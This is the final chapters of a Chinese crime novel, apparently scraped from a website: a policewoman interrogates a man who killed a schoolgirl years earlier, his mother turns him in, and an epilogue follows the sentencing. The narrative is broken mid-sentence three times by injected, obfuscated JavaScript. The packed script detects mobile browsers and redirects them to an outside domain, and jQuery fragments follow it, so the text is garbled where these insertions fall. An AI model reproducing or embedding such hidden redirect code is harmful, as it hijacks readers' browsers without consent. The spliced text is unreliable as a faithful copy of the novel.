艺术系的某位学姐控告辅导员性骚扰,这事在坊间发酵,从一件只在特定人群范围里流传的丑闻,经由大家口口相传,蝴蝶扇动翅膀,引起轩然大波。
那天,邓娇在图书馆里背书,准备期末考。
她站在图书馆的走廊上看书,透过图书馆的落地窗,她可以清楚地看见外面的所有景象。
她看见那个艺术系学姐抱着自己的一纸箱东西,拖着行李,背着书包,独自在校园里走着。
她的背影倔强且决绝,如校园深秋的一片落叶,融入满目萧瑟的秋景中。
旁边认识她的同学看见了她,过来和她亲切地打招呼。
那位同学是她在大专业课毛概上认识的,并不是同个专业,但和苏晓雯是同个专业,法学系的。
“那个就是艺术系的学姐。”同学伸出手指了指那个背影,“据说她退学了。”
邓娇嗯了一声,又低头去看书,但那一行行黑色的文字此刻如蚯蚓一般动了起来,她一个字也看不下去了。
“控告辅导员对她有什么好处呢?真傻。”同学没有理她,自顾自地说。
“辅导员也没有对她造成什么实际性伤害,忍忍不就过去了吗?”
“她这种情况,打官司也不一定赢得了的,告他反而害了自己,何必呢?”同学继续说,此刻语气已经带上了一些嘲讽。
邓娇只觉得眼前的字抖动得厉害,一个接一个的方块字像要挣脱束缚,不敢囿于方寸之地,伸出了长长的触角,企图顶破书页的边缘。
她啪地一声合上书。
旁边的同学被她吓了一跳,略带尴尬地干笑一声:“怎么了?”
邓娇抬起头,冷冷地注视着同学:“你是法学系的,假如有个女生过来和你说,她受到了性骚扰,你也会这么和她说吗?”
同学皱起眉,一脸被冒犯的样子,既恼且怒:“你这么说是什么意思?”
“没什么意思。我只是觉得,你不该读法学系。法律在你这里,只会变成趁手的工具,而非公平的秤杆。”
她抛下这句话后,留下在原地怔然的同学。
在那之后,她做了一个决定。
她不想再做胆小鬼,让缠绕她无数个日夜的梦魇和阴影消失的最好办法是站在阳光下。
她瞒着所有人,报考了南湾市的市局。
连苏晓雯和毕晶晶都没告诉。
所以当苏晓雯知道这件事后,她怒不可遏,指责她疯了么。
邓娇很冷静,她说,这是我自己深思熟虑过后做的决定,并没有疯。
苏晓雯冷冷地注视她,黑眸深不可测,隐晦的情绪翻涌,最终她还是说了句随你吧,你爱怎么样怎么样。
然后她甩手走人,直到毕业也没有再联系过邓娇。
邓娇试着给她打过好几个电话,也发过短信,全都石沉大海。
连社交媒体上苏晓雯的头像都一直是灰色的,从未亮起。
邓娇回到南湾市的那天,却在家门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456745|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口遇见了苏晓雯。
邓娇的眼睛瞪得滚圆,几乎不敢相信自己的眼睛。
“你……”
她嘴唇颤抖,声音也颤抖,刚说了一句你,就被骤然打开的门打断了。
毕晶晶从里面探出半个身子,看见苏晓雯和邓娇后面露惊喜。
“你们来啦?快进来。”
邓娇只能把一肚子疑问咽回去,跟在苏晓雯后面进门了。
毕晶晶张罗着让她们坐在沙发上,切了水果拼盘给她们,说着要去煮饭然后进厨房了。
本来邓娇就要站起来去帮忙,但想到苏晓雯在这里,还有一堆问题想问她,就又坐下了。
她看向苏晓雯,低声问:“你怎么回事啊?”
苏晓雯咬了一口脆甜的青枣:“没怎么啊,你能回来,我不能?”
“我不是这个意思。”邓娇急道,“我的意思是,你先前不是说不想回来吗?”
“是不想。”苏晓雯啃着青枣,口齿不清地回答,“但这边有个挺好的工作,加上呢,我也并不喜欢北方,干燥,沙尘暴还多,那里的人太高端,我融入不进去。”
邓娇半信半疑地看着她。
刚才苏晓雯说这话的时候都没有看她一眼。
明显在说谎。
然而邓娇也没再说什么。
苏晓雯还在她身边,给了她莫大的安全感。
苏晓雯说的工作是法院里的法官助理,虽然是临时的,但她自己似乎挺满意,说正好锻炼锻炼。
但邓娇总觉得,苏晓雯迟早会走的。
她不属于这里。
喝完茶后,两人一起走了一段路,街道偶有几辆车呼啸而过,小摊贩的喇叭重复播放着嘶哑的广告。
槐花白絮絮地落了一地,毛茸茸的,反射着晶莹的光。
走到岔路口,苏晓雯向她告别。
“我最近搬出来了。”
路灯毛玻璃似的光线像给她镀了一层柔光,她的眼睫毛被树上滴下的露水打湿了,连着眼睛也显得湿漉漉的,像在水里浸泡久了的黑色珍珠。
邓娇点点头:“搬出来好。”
苏晓雯家她是知道的,父母从前做生意赚了些钱,但从不肯在大女儿身上花一点,苏晓雯回到家,天天被催相亲,父母迫切想把她嫁出去换彩礼的心思昭然若揭。
“我可能,下半年就要走了。”苏晓雯垂眸,靴尖轻轻踢着路边的石子。
“哦,哦。”邓娇干巴巴地哦了两声,说不出来其它的话了。
她忽然觉得自己的心脏像变成一颗饱满酸涩的青杏,满胀着苦酸的汁水。
“那……保重。”
像针刺入青杏,酸味轻柔如雾般散了出来。
苏晓雯抬头,对她笑了笑。
她伸出手,揉了揉她的头发。
就像很久以前,在孤儿院里那样。
“我还没走呢。还不知道能不能走得成呢,别说的好像要告别了似的。”她收回了手,语调轻松,像在苦瓜汁里加了大把的糖,却欲盖弥彰地显出那点苦味来。
邓娇笑了笑:“提前演练一下。”
短暂的沉默。
路口风大,槐花又吹落了几朵,纷纷扬扬落在了苏晓雯的发间,好像染白了她的头顶。
“那我走了。”苏晓雯挥了挥手。
“再见。”邓娇也挥了挥手。
那天,邓娇一直站在路口,直到看见苏晓雯的黑色大衣消弭于夜色中,她也没走,只是沉默地立在那里。
路口的风陡然变得刺骨。
她转过身,抖落了一地槐花。
她看着落在自己身前的影子,一个想法忽然撞入脑海里。
原来,自己还是那个胆小鬼。
21. 审问
路虎有个非常霸气的名字,可见在他出生的时候,父母是赐予了他重望的。
据说他父亲嗜好豪车,每天最经常做的事情就是去车店逛好几圈,什么也不买,就是试驾,最后车店的人看见他就想关门,他在车店门口大骂工作人员,说他们服务态度不好,撒泼打滚要车店赔偿。
于是在路虎出生的时候,他爹一拍脑袋,说那不如叫路虎吧,既霸气又有寓意,说不准这孩子以后还能开得起路虎呢。
然而路虎长大之后,却成了一个游手好闲的小混混。
但小混混也有个发财梦。
最近,他觉得自己的财运就要到了。
那天,他在街头无聊地抽烟,烟头一根接一根地落在地上。
正腾云驾雾的时候,他旁边来了个年轻的,戴着墨镜和宽檐帽子的女人。
他瞥了女人一眼,眼睛像泥鳅一样,滑溜溜地往她身上瞅。
让他惊讶的是,今天明明是个阴天,女人却戴着墨镜和帽子,显得格格不入。
不会是个神经病吧?
他挪开了视线。
女人率先开口,问他想不想要发财。
路虎心想谁不想发财,但你是谁啊,凭什么带着老子发财。
他往女人脸上喷了口浓烟,但女人不躲不避,脸上依然挂着那个微笑,悬浮且神秘。
路虎不住打量着女人的穿着,心想这该不会真的是哪家有钱的阔太太,来找他什么重金求子或者抓她老公出轨,又或者是,看上他了?
他不禁有些得意起来,毕竟他觉得以着他自己的皮相,看上他的人还是很多的。
就在他浮想联翩的时候,女人从包里掏出一个信封,递给了他。
路虎接了过去,掂量了下厚度,有一千左右。
女人轻声说,她知道有个地方,底下埋着很值钱的东西,那是她从前的朋友留下的,你去挖,这个是定金,挖出来了我们平分。
路虎笑了笑,说那我怎么能信你,万一没挖出来呢?
他嘴上说着不信,手上已经把那个信封塞进了兜里。
女人笑了,说那也有钱,挖一天,就给你一千,你可以找别人一起干,你一千,其它人五百。
路虎最后留下了女人的联系方式,女人告诉他那东西就埋在南湾中学后边的小树林里,让他从榕树下开始挖。
路虎心想这有什么难的,不就是挖土吗,他从前还干过帮人下葬的活呢,接这活还不是轻而易举。
他召上一群兄弟,每次到深夜,就跑到南湾中学后边的小树林里挖土。
结果挖着挖着,还真让他找到一些宝藏,什么埋着的储钱罐,甚至还有一块玉佩,虽然看不出真假,但让路虎一下子就兴奋了起来。
本来还打算拖着多讹点工钱的路虎兄弟们,一看这架势,都暗暗加快了速度,唯恐宝藏被人抢了先去了。
他们一连挖了三天,每天都挖到凌晨天亮,在第三天的时候,路虎一铲子下去,挖出了白骨。
然后他们就都坐在了警察局里。
来审问他们的是个女警察,身材不高,甚至有些娇小,名字也很符合她外表给人的印象,叫邓娇,但她走进来的时候,眼睛只稍微一扫,便自带隐形的威严气势,一屋子混混全部都噤声了。
路虎差点流下眼泪来,说他们也不知道咋回事啊,就是有个女人,戴着墨镜和帽子,给了钱,说那底下有宝藏,让他们帮忙去挖的。
女警察愣了下,让他详细描述了一下那女人的模样。
路虎仔细回忆了下,但除了她身材蛮好的,一米七左右身高,口红涂得很红之外,再说不出其它的了。
他在说的时候,女警察邓娇低头做着记录。
人在紧张的时候,脑子会突然变灵光,想起很多想不起来的事情。
路虎忽然福至心灵,脑子里似乎有闪电闪过,刹那间照亮了他空无一物的大脑,他想起,他在很久之前,好像也见过一个类似长相和打扮的女人。
于是,急于脱罪的路虎脱口而出,说我见过她,在几年前!
邓娇奇怪地瞥了他一眼。
路虎没有理会邓娇的眼神,他完全沉浸在自己的回忆中,说当时那女人也是怪怪的,给了我一百块钱,让我帮忙把一个东西送到一个地址。
邓娇问他还记不记得具体地址。
路虎支支吾吾回忆了半天,才写下一个地址,递给了邓娇。
邓娇接了过去,扫了一眼地址,就收了起来。
她说那你们就先回去吧。
如释重负的路虎赶紧叫上兄弟们离开了警察局,走的时候他心还跳得飞快,心想这么要命的买卖下次还是别做了。
钱难挣啊钱难挣,他摇着头,走向了街头。
在那之后,他再也没见过戴着帽子和墨镜的那个女人了。
他也没有拿到承诺好的尾款。
时间一晃到了三月底。
邓娇没想到的是,在案件停滞不前的时候,竟然有了惊人的转折。
就好像,一切都是安排好了一样。
在和苏晓雯告别之后,她很快投入到了工作当中,恰好最近案子多,各种调查走访应接不暇。
霍春上警局报案的时候,她刚熬夜蹲守,捉了一个性骚扰妇女的惯犯小偷回市局,正和自己的师父商量要怎么办的时候,听见自己同事在叫她。
“邓娇,好像有个人要来报案。”
邓娇忙得一脑门官司,她转过身,视线在落在来人的脸上的那一刻顿住了。
来人看见她的时候,也非常惊讶,但她似乎不太敢认,只在原地眯着眼,细细打量描摹着她的五官。
邓娇连忙走上前,看清楚眼前人的面貌之后,更加确认了自己的看法:“霍……霍老师?”
霍春连连点头,眼里全是欣喜:“是,是我。”
邓娇笑了笑:“您怎么来了?我好久没见您了。”
霍春的手指有些紧张地握住了手里的包。
“我,我来报案的。”
邓娇的笑容凝住了。
十分钟后,霍春被请到市局的等候室,邓娇坐在她的面前,给她倒了杯热水。
“您慢慢说。”邓娇客气地说。
霍春还是有些紧张,在陌生环境里,人全身的肌肉会本能地绷紧,就如同拉到极致的橡皮筋,随时都可能断裂。
邓娇很耐心地等着对面的霍春做了好几个深呼吸,慢慢平静下来。
霍春抬起眼,那双眼睛像一条干涸已久的河,裸露出赤裸的河床,干燥又脆弱,石缝处却又顽强地钻出了青绿,隐隐蕴含着野性的生机。
她缓缓地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15456746|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口,咬字清晰:“我要举报我的儿子,段景曜,五年前,杀害了林可欣。我有证据。”
那条河又重新温润地流淌了起来。
邓娇听见了潺潺的水流声。
段景曜被抓到警察局的时候,整个人都是懵且慌乱的。
他坐在审讯室,审讯室的灯白亮亮的,如一轮白日,似乎在那盏灯之下,所有的罪恶都无处遁形。
他坐在那里,脸色惨白,嘴唇也微微发着抖。
因为对面坐着的,是他再熟悉不过的人——邓娇。
六年前,他曾利用身高的优势威胁邓娇,让她帮自己做事。
六年后,攻守之势异也。
没事。
他安慰自己,只要咬死不认就行了。
那么多年过去了,还能有什么事。
可是,虽然他杀人的时候觉得天不怕地不怕的,但这么多年过去了,在他披着精致人皮融入社会,习惯社会之后,他是很难揭掉人皮再承认自己的兽性的。
邓娇慢悠悠地开口:“段景曜,你还记得林可欣吗?”
段景曜沉默了一下,然后开口道:“记得。怎么了?”
邓娇笑了笑:“有人举报你杀了林可欣,将她埋在了小树林底下。”
段景曜笑了一声,似乎非常自信,但他脸上的肌肉已在微微抽搐。
“你有什么证据?”
邓娇不理会他,只继续问自己的问题:“在小树林下找到的并非完整的尸体,奇怪的是,缺失了一部分,所以那部分会在哪呢?”
段景曜目光沉沉地盯着她。
“你自己应该很清楚吧。”邓娇依然是笑着的,“要不,我给你讲个故事?”
“有个高中男生,他结识了一个女生,那个女生漂亮,但懦弱,很符合他挑选的对象的标准。于是,他花言巧语骗到了女生,让女生做自己的女朋友。但不知道为什么,女生很抵触自己的亲密接触,这让他很不舒服。有一天,他把女孩约在了教室里,想要和她有进一步的关系,然而不知道为什么,女孩反抗得很激烈,这也激怒了他,于是,在女孩反抗过程中,他掐死了女孩。”
邓娇说到这,顿了顿,看向段景曜。
段景曜的眼神躲闪了一下,没看她。
邓娇听见自己心底清晰的嗤笑声,她继续说:“男孩慌了。他不知道该怎么办,他在慌乱之中只能背起尸体,想要运到校外处理,然而,他在路上遇到了一个意想不到的人。”
段景曜的眉心重重一跳,连带着心脏也开始狂跳。
“他没想到,教务主任也在那。”邓娇的语气不疾不徐,娓娓道来,“他彻底慌了。但没想到的是,教务主任居然反过来安慰他,帮他一起处理尸体,这让他完全没有想到。”
“于是,他们把尸体运到了榕树底下,埋了她。”
一阵寂静过后,段景曜的脸色不变,他静静地开口:“谢谢你给我讲故事,邓警官。”
“别急。这故事还没讲完呢。”邓娇继续说,“但是在慌乱埋尸的时候,男孩忽然注意到了尸体的一个致命问题——那就是,女孩左手中指上的戒指。”
段景曜瞪大了眼,忽然之间,褪去了所有血色,脸色变得煞白。
邓娇微笑着,从口袋里拿出了证物袋,里面装了一枚闪着银光的戒指。
22.结局
审讯室寂静了一瞬,接着,邓娇就看见对面的段景曜额边的青筋一寸寸暴起,他的面容变得扭曲,满脸都是不可思议,他的嘴唇苍白,颤抖着。
“这,这……怎么会在你这……”
他试图去抓那个证物袋,但邓娇微微一笑,放下了袋子。
“还要告诉你一个消息。”
邓娇拿出手机,轻轻点击了播放。
是一段录音。录音里是他的声音。
“……我杀了她,然后埋了她……”
段景曜猛地抬起头,脸色苍白如纸,他的瞳孔在剧烈地颤抖,仿佛摇摇欲坠的危楼。
“这段录音,你应该很熟悉吧。”
邓娇收起手机,好整以暇地看着他,就像戏台下等着看戏的观众。
段景曜喃喃自语:“不可能,这怎么可能……”
他被自己的生身母亲背叛了。
他被这个世界上最亲密的人捅了一刀,血流如注。
段景曜强大的精神防线终于裂出了一道无可挽回的缝隙。
这道缝隙就如同坚固的沙堡从中裂开,很快,就会彻底崩塌,七分五裂。
所以邓娇不着急。
她早已胜券在握,对付他,有如捉瓮中之鳖。
邓娇无视了他的反应,“在林可欣的手里,我们还发现了一枚纽扣。和戒指一块进行了DNA检测,我这里有检测报告,但我还是想给你一次机会。”
她抽出一份报告,压在手下,目光忽然变得犀利,沉沉地盯着他。
“假如你现在坦白一切,那么,也许法院会看在你是自愿自首的份上,给你减刑。”
段景曜没说话,他只呆呆地盯着桌子,像被人抽走了所有神智。
片刻,他忽然笑起来。
“你还想知道什么?证据确凿,我杀了她,把尸体埋在树底下,因为戒指一时情急拿不下来,所以我砍了她的手指,把手指埋在了家里的花盆里。对。不过我当年是未成年,而且,我是不小心杀的她。”
段景曜抬起头:“就这些。”
邓娇“嗯”了一声,接着她话锋一转:“那么,杀害林常雄的事情呢?”
段景曜紧紧地皱起眉:“什么林常雄,我不知道。”
“别装了。林常雄死的那天,你去过河边,对吧?”
“我没有装。”段景曜的神情变得冷漠,“你说这些,有证据吗?”
“当然有。”邓娇翻了翻案件记录,“我们找到了当年你用过的手机,恢复了短信记录,还好,你没有删除那条短信,短信上面约你去河边,说林常雄知道你的秘密,并且要将你的秘密告诉别人。”
段景曜脸色一变。
“那天,你去到了河边,看见了林常雄在和另一位女生说话,在说话过程中,女生提出要以秘密换秘密,可是,在女生说完之后,林常雄却把女生推进了河里,杀了她,在暗处目睹一切的你,想到林常雄是个反复无常的人,害怕他以后用这个秘密要挟你,于是你一不做二不休,也把林常雄推进了水里。”
段景曜听完之后,脸色凝滞了一瞬,接着哈哈笑了几声。
他的笑声在空荡的房间里回响,显得格外恐怖。
“好一出螳螂捕蝉,黄雀在后,邓警官,你是中文系毕业的吧。编故事编得那么好。”段景曜嘲讽道,“就不能是,那个女生想杀林常雄,最后两人都跌入水中吗?而且,我一定在现场吗?”
“嗯。你说得有道理。”邓娇脸色未变,她关上了案件记录,对旁边的警察点点头,“以故意杀人罪逮捕。”
段景曜被戴上手铐,跟在邓娇身后,走出了审讯室。
审讯室外的走廊上,有个帽檐压得很低,遮住了大半个面孔的女人,她穿着红色的裙子,独自站在那里。
段景曜经过她的时候,总觉得有几分熟悉,不住地往她那里看了几眼。
女人慢慢摘下帽子,看向他,扬起了嘴角。
段景曜瞪大了眼睛,他脸上血色褪净,双脚像被铅灌了似的,沉重得再也走不动。
邓娇停住了脚步,隔着呆若木雕的段景曜往那个女人看去。
“怎么可能!”段景曜情绪激动,他企图扑了过去,被旁边的警察牢牢按住。
他死死地盯着眼前的女人,目眦欲裂,双眼充满血丝:“你怎么可能在这里!你应该死了的!你被林常雄推进了水里!我看见你——”
他话说到一半,却像被人扼住了喉咙,骤然砍断。
段景曜直起身,看向了邓娇,后者向他送去一个胜利者的微笑。
“我想,段先生应该有一些证词需要补充。”
邓娇走了过去,挡在了他和女人中间,凑近了他,用仅两人能听见的音量,低且柔地说:“还有一个秘密,我想你有权利知道。”
她拿出一张证明——正是刚才被她按在手下的DNA报告证明。
那并不是戒指和纽扣的DNA提取检测,而是一则亲子关系检测报告。
上面写着:经检测,被测人林常雄与段景曜父子关系可能性为99.9%
“恭喜你。找到了你的亲生父亲。”邓娇把那份报告塞进他手里,声音一如既往地温柔。
段景曜彻底呆住了,那根撑住他的脊柱一截截地弯了下去,直到再也支撑不住他沉重的四肢百骸,轰然倒塌。
旁边响起皮鞋碰撞地面的脚步声,清脆又响亮。
邓娇抬起头,看见女人的背影,一袭红裙袅袅,消失在了走廊尽头。
——————————
林可欣下葬那天,邓娇,苏晓雯都去了。
她们两人等到林可欣的亲戚都散了,才站在林可欣的墓前,一人送上了一束白玫瑰。
白玫瑰是早上苏晓雯起了个大早去花店买的,花瓣上还沾着露珠,洁白如雪。
她们并肩而立,沉默地看向墓碑上朝她们微笑的十七岁女孩。
空寂的公墓园里,远远地响起了一阵脚步声。
邓娇没有看来人,没头没尾地问了一句:“来了?”
苏晓雯抬眼望去,是一个意料之外但情理之中的人,施宜。
又或者是魏冉。
她今天穿了一袭白裙,白皙的侧脸仿若水滴般透明,和她手中的那束白玫瑰一样,素净,优雅,不染纤尘。
她弯腰,将白玫瑰放在了她们的花束旁边,开口问道:“怎么判?”
“不知道,他杀人的时候未满十八岁,很难说。也许关个二三十年就出来了。”苏晓雯回答道。
这桩案子最后移交给了她所在的法院处理,她这几周忙得脚不沾地,天天都在两头跑和整理资料,黑眼圈熬得更重了。
三人伫立在黑色的墓碑前,相对无言。
她们的周围,墓碑无声林立,如同黑色的森林,白色雨丝在空中飘扬,一会儿,乌云散去,阳光又重回大地,云层裂开一道缝隙,阳光恰好照在墓碑的照片上。
“你们之后什么打算?”施宜忽然说。
“不知道,再看看吧。”苏晓雯看了眼正在走神,心不在焉的邓娇,“不过,我最近表现得蛮好的,法官说让我赶紧去转正式岗。”
邓娇像是忽然回过了神,猛地抬头看着她。
“那你……怎么想?”
“我?再想想。”苏晓雯嘴角轻扬。
邓娇点了点头。
“走吧。”施宜出声道。
苏晓雯瞥了一眼施宜:“有一件事。”
施宜刚动的脚步又停下了。
“一直装是别人的话,会不会很累?”苏晓雯看着那人的背影,在心里无声地叹了口气,“是施宜还是魏冉,你现在能分得清吗?”
施宜回过头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461894|169543||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,淡淡地扫了她一眼,嘴角勾起浅淡的,转瞬即逝的弧度:“这重要吗?”
她转身离去,走了两三步后,听见后面传来压低了的声音。
“有空多回来吧。我们都挺想你的。”
那声音笃定地钻进她的耳朵里,如一颗种子,倔强地种在了她的心脏里。
她看向前方,无声地回答:“会的。”
段景曜案开庭的那天,邓娇,苏晓雯都在现场。
法官当庭宣布判处三十年有期徒刑后,段景曜抬起了头,他看见了在法院以上闪闪发光的徽章,他的目光落在了法官旁边正冷冷看着他的苏晓雯脸上,又看见了穿着警服的邓娇。
他穿过法庭,只觉得有目光落在他的背上,如芒刺背。
他转过身,只来得及匆匆一瞥,就看见了在旁听席里站着的,一直看着他的施宜。
最终,在所有人的目光的注视下完成了对他的审判。
霍春来看过他一次。
段景曜情绪不再激动,只是淡淡地问了她一句话:“为什么?”
霍春也很平静:“没为什么。”
“我不是你儿子吗?”段景曜不甘心地问。
霍春笑了笑,她的笑容像是疲惫散尽后的最终解脱。
“不是。”她摇了摇头,“我生了你。但你不是我的孩子。”
她看向段景曜:“你在里面好好的。这是我最后一次来看你。”
她挂了电话,转身离去。
段景曜愣愣地注视着霍春的背影,仿佛第一次认识这个女人。
霍春走出了监狱,走出阴影的那刻,她来到了阳光灿烂的人间。
监狱门口停着一辆红色的车,苏晓雯正站在车边,对着邓娇说着什么,神情激动。
邓娇边无奈地听着边点头,她一眼看见了霍春,连忙叫道:“霍老师!”
霍春走到她们身边,对她们微微笑:“等久了吧?”
“不久,不过您终于来了,不然我快被苏晓雯吵死了。”
苏晓雯手里拿着车钥匙,闻言瞪她:“行,我吵,那你自个儿回家吧,别坐我车。”
“您看,说她几句她还不爽了。”邓娇对她挤眉弄眼。
“行了,上车吧。”霍春笑着拍了拍她们的肩膀。
苏晓雯哼了一声,钻进了驾驶座里,发动了汽车。
霍春看向外面灿烂得有些刺眼的阳光,说道:“天气变晴了。”
“是啊。”苏晓雯转了转方向盘,驶进了绿荫盎然的小道,树缝间的光斑在她指尖颤动,她轻声说,“往后的日子,应该都是晴天了。”
放在口袋里的手机震动了一下。
施宜拿出手机,显示一条新的□□消息,她打开看,上面是一张图,图上是琳琅满目的菜品。
“菜都上齐了,就等你了,快饿死了。”
她微微一笑,把手机放回了口袋。
老板娘恰好将包装好的水果礼盒递给了她。
她接了过去,道了声谢谢,就从人群中钻了出去。
外面是喧闹嘈杂的街道,街道上汹涌的人群摩肩接踵,路过的所有人都平等地要被塞一耳朵各个商店带着刺耳电流音的廉价抛售广告。
闷热的午后,空气里像裹着几斤重的水汽,天空聚拢起一片灰云,整个城市都像被涂抹上灰调的滤镜,一缕近乎透明的阳光从密布的乌云缝隙里透出来,斜斜地照在川流不息的人群中间,完美地分割开光与暗。
她在人流中穿行着,忽然间,有人撞了她的肩膀一下。
她抬起头,和那人匆匆地对视了一眼。
她有一瞬的走神。
再回过头时,只能看见攒动的密集人头。
她转过身,心想,也许是自己看错了。
她抬起脚,从暗处走向耀眼的光里。
全文完